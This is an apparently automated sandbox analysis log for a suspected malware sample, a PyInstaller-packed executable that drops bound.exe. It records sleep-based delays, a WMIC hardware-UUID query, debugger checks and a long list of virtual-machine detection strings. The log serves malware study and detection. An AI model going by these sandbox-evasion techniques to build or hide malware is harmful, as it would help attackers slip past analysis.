Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594297
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 588059

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6071	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5799	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5814	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Window / User API: threadDelayed 3720
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Window / User API: threadDelayed 4152

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI76122\_ssl.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17507

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

API coverage: 5.5 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6732	Thread sleep count: 6071 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3156	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5724	Thread sleep count: 81 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6208	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5476	Thread sleep count: 5799 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep count: 108 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6592	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6300	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5764	Thread sleep count: 5814 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5852	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6272	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -599828s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -599657s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -599508s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -599357s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -599225s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -599108s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -598969s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -598843s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -598710s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -598591s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -598483s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -598374s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -598266s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -598141s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -598016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -597904s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -597768s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -597656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -597437s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -597296s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -597188s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -597078s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -596969s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -596844s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -596735s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -596610s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -596485s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -596360s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -596235s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -596110s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -595985s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -595860s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -595735s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -595610s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -595485s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -595360s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -595235s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -595106s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -594981s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -594766s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -594638s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -594532s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -594407s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -594297s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\bound.exe TID: 6276	Thread sleep time: -588059s >= -30000s

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF7EAD083C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD09280 FindFirstFileExW,FindClose,	0_2_00007FF7EAD09280
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD21874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF7EAD21874
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD09280 FindFirstFileExW,FindClose,	2_2_00007FF7EAD09280
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD083C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00007FF7EAD083C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 2_2_00007FF7EAD21874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00007FF7EAD21874

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599828
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599657
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599508
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599357
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599225
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 599108
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598969
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598843
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598710
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598591
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598483
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598374
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598266
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598141
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 598016
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597904
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597768
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597656
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597437
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597296
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597188
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 597078
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596969
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596844
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596735
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596610
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596485
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596360
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596235
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 596110
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595985
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595860
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595735
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595610
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595485
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595360
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595235
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 595106
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594981
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594766
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594638
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594532
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594407
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 594297
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Thread delayed: delay time: 588059

Source: Amcache.hve.29.dr	Binary or memory string: VMware
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dqemu-ga
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmtoolsd
Source: Amcache.hve.29.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: decodeqemu-ga
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: f15vmsrvc
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvboxservice
Source: Amcache.hve.29.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: rfvmwareservice
Source: Amcache.hve.29.dr	Binary or memory string: vmci.sys
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: Amcache.hve.29.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.29.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.29.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.29.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.29.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.29.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.29.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 4Lfvmtoolsd
Source: Amcache.hve.29.dr	Binary or memory string: VMware VMCI Bus Device
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwareuser
Source: Amcache.hve.29.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.29.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmusrvc
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice
Source: Amcache.hve.29.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.29.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.29.dr	Binary or memory string: vmci.syshbin
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5D99000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5D99000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409474610.000001DCB5DAB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmwaretray
Source: Amcache.hve.29.dr	Binary or memory string: VMware, Inc.
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvboxtray
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: Amcache.hve.29.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.29.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.29.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.29.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: f4vmusrvc
Source: Amcache.hve.29.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: sfvmwaretray
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvboxtray
Source: Amcache.hve.29.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: bound.exe, 00000011.00000002.1603619017.00000254B4EB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmsrvc
Source: Amcache.hve.29.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.29.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmwareuser
Source: Amcache.hve.29.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: f8vmware
Source: Amcache.hve.29.dr	Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.29.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvboxservice
Source: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1463693369.000001DCB6488000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmwareservice

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Code function: 0_2_00007FF7EAD0D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7EAD0D12C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Code function: 2_2_00007FF8E6C89060 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

2_2_00007FF8E6C89060

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Code function: 0_2_00007FF7EAD23480 GetProcessHeap,

0_2_00007FF7EAD23480

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bound.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD0D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7EAD0D12C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD0D30C SetUnhandledExceptionFilter,	0_2_00007FF7EAD0D30C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD0C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7EAD0C8A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Code function: 0_2_00007FF7EAD1A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7EAD1A614
